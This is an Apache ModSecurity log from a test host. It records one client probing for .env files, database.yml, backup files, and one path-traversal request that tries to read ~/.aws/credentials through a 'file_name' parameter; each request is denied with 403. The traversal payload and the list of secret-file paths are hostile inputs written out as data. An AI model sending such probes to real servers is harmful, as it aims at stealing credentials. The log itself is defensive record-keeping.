[Wed Feb 25 06:04:32.078561 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.sample.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample.php&quot;] [unique_id &quot;aZ6C4OTWwZsZM3_RktVC1AAAAAU&quot;]
[Wed Feb 25 06:04:32.078867 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample.php&quot;] [unique_id &quot;aZ6C4OTWwZsZM3_RktVC1AAAAAU&quot;]
[Wed Feb 25 06:04:32.079052 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample.php&quot;] [unique_id &quot;aZ6C4OTWwZsZM3_RktVC1AAAAAU&quot;]
[Wed Feb 25 06:04:32.183085 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env1&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env1&quot;] [unique_id &quot;aZ6C4OTWwZsZM3_RktVC1QAAAAU&quot;]
[Wed Feb 25 06:04:32.183399 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env1&quot;] [unique_id &quot;aZ6C4OTWwZsZM3_RktVC1QAAAAU&quot;]
[Wed Feb 25 06:04:32.183482 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /terraform/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/terraform/.env&quot;] [unique_id &quot;aZ6C4PjNQqDNAmB2zjqZjAAAAAY&quot;]
[Wed Feb 25 06:04:32.183634 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env1&quot;] [unique_id &quot;aZ6C4OTWwZsZM3_RktVC1QAAAAU&quot;]
[Wed Feb 25 06:04:32.183864 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/terraform/.env&quot;] [unique_id &quot;aZ6C4PjNQqDNAmB2zjqZjAAAAAY&quot;]
[Wed Feb 25 06:04:32.184042 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/terraform/.env&quot;] [unique_id &quot;aZ6C4PjNQqDNAmB2zjqZjAAAAAY&quot;]
[Wed Feb 25 06:04:32.258184 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ansible/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ansible/.env&quot;] [unique_id &quot;aZ6C4PjNQqDNAmB2zjqZjQAAAAY&quot;]
[Wed Feb 25 06:04:32.258552 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ansible/.env&quot;] [unique_id &quot;aZ6C4PjNQqDNAmB2zjqZjQAAAAY&quot;]
[Wed Feb 25 06:04:32.258772 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ansible/.env&quot;] [unique_id &quot;aZ6C4PjNQqDNAmB2zjqZjQAAAAY&quot;]
[Wed Feb 25 06:04:32.523396 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;database.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: database.yml found within REQUEST_FILENAME: /config/database.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/database.yml&quot;] [unique_id &quot;aZ6C4PjNQqDNAmB2zjqZkAAAAAY&quot;]
[Wed Feb 25 06:04:32.523697 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/database.yml&quot;] [unique_id &quot;aZ6C4PjNQqDNAmB2zjqZkAAAAAY&quot;]
[Wed Feb 25 06:04:32.523906 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/database.yml&quot;] [unique_id &quot;aZ6C4PjNQqDNAmB2zjqZkAAAAAY&quot;]
[Wed Feb 25 06:04:32.534898 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.bak&quot;] [unique_id &quot;aZ6C4OTWwZsZM3_RktVC2QAAAAU&quot;]
[Wed Feb 25 06:04:32.535469 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.bak&quot;] [unique_id &quot;aZ6C4OTWwZsZM3_RktVC2QAAAAU&quot;]
[Wed Feb 25 06:04:32.535659 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.bak&quot;] [unique_id &quot;aZ6C4OTWwZsZM3_RktVC2QAAAAU&quot;]
[Wed Feb 25 06:04:32.652195 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Pattern match &quot;(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ...&quot; at REQUEST_URI_RAW. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;46&quot;] [id &quot;930100&quot;] [msg &quot;Path Traversal Attack (/../)&quot;] [data &quot;Matched Data: /../ found within REQUEST_URI_RAW: /pms?module=logging&amp;file_name=../../../../../../~/.aws/credentials&amp;number_of_lines=10000&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pms&quot;] [unique_id &quot;aZ6C4OTWwZsZM3_RktVC3AAAAAU&quot;]
[Wed Feb 25 06:04:32.652278 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Pattern match &quot;(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)&quot; at REQUEST_URI. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;69&quot;] [id &quot;930110&quot;] [msg &quot;Path Traversal Attack (/../)&quot;] [data &quot;Matched Data: /../ found within REQUEST_URI: /pms?module=logging&amp;file_name=../../../../../../~/.aws/credentials&amp;number_of_lines=10000&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pms&quot;] [unique_id &quot;aZ6C4OTWwZsZM3_RktVC3AAAAAU&quot;]
[Wed Feb 25 06:04:32.652315 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Pattern match &quot;(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)&quot; at REQUEST_URI. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;69&quot;] [id &quot;930110&quot;] [msg &quot;Path Traversal Attack (/../)&quot;] [data &quot;Matched Data: /../ found within REQUEST_URI: /pms?module=logging&amp;file_name=../../../../../../~/.aws/credentials&amp;number_of_lines=10000&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pms&quot;] [unique_id &quot;aZ6C4OTWwZsZM3_RktVC3AAAAAU&quot;]
[Wed Feb 25 06:04:32.653029 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 15)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pms&quot;] [unique_id &quot;aZ6C4OTWwZsZM3_RktVC3AAAAAU&quot;]
[Wed Feb 25 06:04:32.653222 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pms&quot;] [unique_id &quot;aZ6C4OTWwZsZM3_RktVC3AAAAAU&quot;]
[Wed Feb 25 06:04:32.693372 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /k8s/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/k8s/.env&quot;] [unique_id &quot;aZ6C4OTWwZsZM3_RktVC3QAAAAU&quot;]
[Wed Feb 25 06:04:32.693671 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/k8s/.env&quot;] [unique_id &quot;aZ6C4OTWwZsZM3_RktVC3QAAAAU&quot;]
[Wed Feb 25 06:04:32.693932 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/k8s/.env&quot;] [unique_id &quot;aZ6C4OTWwZsZM3_RktVC3QAAAAU&quot;]
[Wed Feb 25 06:04:32.790173 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aZ6C4OTWwZsZM3_RktVC3gAAAAU&quot;]
[Wed Feb 25 06:04:32.790486 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aZ6C4OTWwZsZM3_RktVC3gAAAAU&quot;]
[Wed Feb 25 06:04:32.790688 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aZ6C4OTWwZsZM3_RktVC3gAAAAU&quot;]
[Wed Feb 25 06:04:32.798555 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_example&quot;] [unique_id &quot;aZ6C4PjNQqDNAmB2zjqZkwAAAAY&quot;]
[Wed Feb 25 06:04:32.798857 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_example&quot;] [unique_id &quot;aZ6C4PjNQqDNAmB2zjqZkwAAAAY&quot;]
